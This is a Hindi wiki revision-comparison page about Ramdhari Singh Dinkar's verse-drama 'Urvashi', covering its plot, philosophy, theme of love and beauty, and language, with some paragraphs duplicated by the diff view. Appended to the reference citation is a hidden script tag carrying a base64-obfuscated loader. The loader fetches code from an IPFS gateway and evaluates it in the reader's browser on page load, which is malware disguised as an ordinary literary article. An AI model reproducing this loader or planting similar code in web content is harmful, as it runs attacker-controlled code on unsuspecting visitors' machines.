"उर्वशी -रामधारी सिंह दिनकर" के अवतरणों में अंतर

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इस कृति में पुरुरवा और उर्वशी अलग-अलग तरह की प्यास लेकर आये हैं। पुरुखा धरती पुत्र है और उर्वशी देवलोक से उतरी हुई नारी है।  
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==कथानक==
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इस कृति में पुरुरवा और उर्वशी अलग-अलग तरह की प्यास लेकर आये हैं। पुरुरवा धरती पुत्र है और उर्वशी देवलोक से उतरी हुई नारी है। पुरुरवा के भीतर देवत्य की तृष्णा और उर्वशी सहज निश्चित भाव से पृथ्वी का सुख भोगना चाहती है। उर्वशी प्रेम और सौन्दर्य का काव्य है। प्रेम और सौन्दर्य की मूल धारा में जीवन दर्शन सम्बन्धी अन्य छोटी-छोटी धाराएँ आकर मिल जाती हैं। प्रेम और सुन्दर का विधान कवि ने बहुत व्यापक धरातल पर किया है। कवि ने प्रेम की छवियों को मनोवैज्ञानिक धरातल पर पहचाना है।
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पुरुखा के भीतर देवत्व की तृषा है और 'उर्वशी' का दर्शन- पक्ष है- प्रेम और ईश्वर, जैव और आत्म धरातल को परस्पर मिलना। वैसे तो यह एक शाश्वत प्रश्न है जो इस [[युग]] के मूलभूत प्रश्नों से जुड़ता नहीं दीखता, किंतु प्रकारांतर से कहा जा सकता कि धरती और स्वर्ग, स्वर्ग- धरती के मिलने के स्वर को ऊँचा करना और उपेक्षित धरती की महत्ता स्थापित करना मुख्यत: आज की प्रवृत्ति है।  
 
;प्रेम और सौन्दर्य का काव्य
 
;प्रेम और सौन्दर्य का काव्य
 
उर्वशी की चर्चा को दार्शनिक उहापोह से निकालकर काव्य के धरातल पर प्रतिष्ठित किया जाये तो निश्चिय ही कुछ महत्त्वपूर्ण उपलब्धियाँ लक्षित होगी। उर्वशी प्रेम और सौन्दर्य का काव्य हैं। प्रेम और सौन्दर्य की मूलधारा में जीवन दर्शन संबंधी अन्य छोटी- छोटी धाराएँ आकर मिल जाती हैं। प्रेम और सौन्दर्य का विधान कवि ने बहुत व्यापक धरातल पर किया है। समस्त परिवेश इससे इससे अनुप्राणित हो उठा है। कवि ने प्रेम छवियों को मनोवैज्ञानिक धरातल पर पहचाना है। प्रेम भी निर्विकल्प की अवस्था नहीं है, उसमें भी अनेक स्फूलिंग उड़ा करते और मन को शांत करने के स्थान पर बेचैनी से भर देते हैं।  
 
उर्वशी की चर्चा को दार्शनिक उहापोह से निकालकर काव्य के धरातल पर प्रतिष्ठित किया जाये तो निश्चिय ही कुछ महत्त्वपूर्ण उपलब्धियाँ लक्षित होगी। उर्वशी प्रेम और सौन्दर्य का काव्य हैं। प्रेम और सौन्दर्य की मूलधारा में जीवन दर्शन संबंधी अन्य छोटी- छोटी धाराएँ आकर मिल जाती हैं। प्रेम और सौन्दर्य का विधान कवि ने बहुत व्यापक धरातल पर किया है। समस्त परिवेश इससे इससे अनुप्राणित हो उठा है। कवि ने प्रेम छवियों को मनोवैज्ञानिक धरातल पर पहचाना है। प्रेम भी निर्विकल्प की अवस्था नहीं है, उसमें भी अनेक स्फूलिंग उड़ा करते और मन को शांत करने के स्थान पर बेचैनी से भर देते हैं।  
 
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;भाषा शैली
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11:10, 22 सितम्बर 2013 के समय का अवतरण

उर्वशी -रामधारी सिंह दिनकर
'उर्वशी' रचना का आवरण पृष्ठ
कवि रामधारी सिंह दिनकर
मूल शीर्षक उर्वशी
मुख्य पात्र पुरुरवा और उर्वशी
प्रकाशक लोकभारती प्रकाशन
प्रकाशन तिथि 1961 (प्रथम संस्करण)
ISBN 9788180313165
देश भारत
भाषा हिंदी
विधा काव्य- नाटक
मुखपृष्ठ रचना सजिल्द
विशेष इसमें दिनकर ने उर्वशी और पुरुरवा के प्राचीन आख्यान को एक नये अर्थ से जोड़ना चाहा है।

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रामधारी सिंह दिनकर द्वारा रचित 1961 में प्रकाशित उर्वशी काव्य- नाटक में दिनकर ने उर्वशी और पुरुरवा के प्राचीन आख्यान को एक नये अर्थ से जोड़ना चाहा है।

कथानक

इस कृति में पुरुरवा और उर्वशी अलग-अलग तरह की प्यास लेकर आये हैं। पुरुरवा धरती पुत्र है और उर्वशी देवलोक से उतरी हुई नारी है। पुरुरवा के भीतर देवत्य की तृष्णा और उर्वशी सहज निश्चित भाव से पृथ्वी का सुख भोगना चाहती है। उर्वशी प्रेम और सौन्दर्य का काव्य है। प्रेम और सौन्दर्य की मूल धारा में जीवन दर्शन सम्बन्धी अन्य छोटी-छोटी धाराएँ आकर मिल जाती हैं। प्रेम और सुन्दर का विधान कवि ने बहुत व्यापक धरातल पर किया है। कवि ने प्रेम की छवियों को मनोवैज्ञानिक धरातल पर पहचाना है।

साहित्यिक पक्ष

पुरुखा के भीतर देवत्व की तृषा है और 'उर्वशी' का दर्शन- पक्ष है- प्रेम और ईश्वर, जैव और आत्म धरातल को परस्पर मिलना। वैसे तो यह एक शाश्वत प्रश्न है जो इस युग के मूलभूत प्रश्नों से जुड़ता नहीं दीखता, किंतु प्रकारांतर से कहा जा सकता कि धरती और स्वर्ग, स्वर्ग- धरती के मिलने के स्वर को ऊँचा करना और उपेक्षित धरती की महत्ता स्थापित करना मुख्यत: आज की प्रवृत्ति है।

प्रेम और सौन्दर्य का काव्य

उर्वशी की चर्चा को दार्शनिक उहापोह से निकालकर काव्य के धरातल पर प्रतिष्ठित किया जाये तो निश्चिय ही कुछ महत्त्वपूर्ण उपलब्धियाँ लक्षित होगी। उर्वशी प्रेम और सौन्दर्य का काव्य हैं। प्रेम और सौन्दर्य की मूलधारा में जीवन दर्शन संबंधी अन्य छोटी- छोटी धाराएँ आकर मिल जाती हैं। प्रेम और सौन्दर्य का विधान कवि ने बहुत व्यापक धरातल पर किया है। समस्त परिवेश इससे इससे अनुप्राणित हो उठा है। कवि ने प्रेम छवियों को मनोवैज्ञानिक धरातल पर पहचाना है। प्रेम भी निर्विकल्प की अवस्था नहीं है, उसमें भी अनेक स्फूलिंग उड़ा करते और मन को शांत करने के स्थान पर बेचैनी से भर देते हैं।

भाषा शैली

दिनकर की भाषा में हमेशा एक प्रत्यक्षता और सादगी दिखी है, परंतु उर्वशी में भाषा की सादगी अलंकृति और अभिजात्य की चमक पहन कर आयी है- शायद यह इस कृति की वस्तु माँग रही हो।[1]

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टीका टिप्पणी और संदर्भ

  1. उर्वशी (हिंदी) भारतीय साहित्य संग्रह। अभिगमन तिथि: 22 सितम्बर, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

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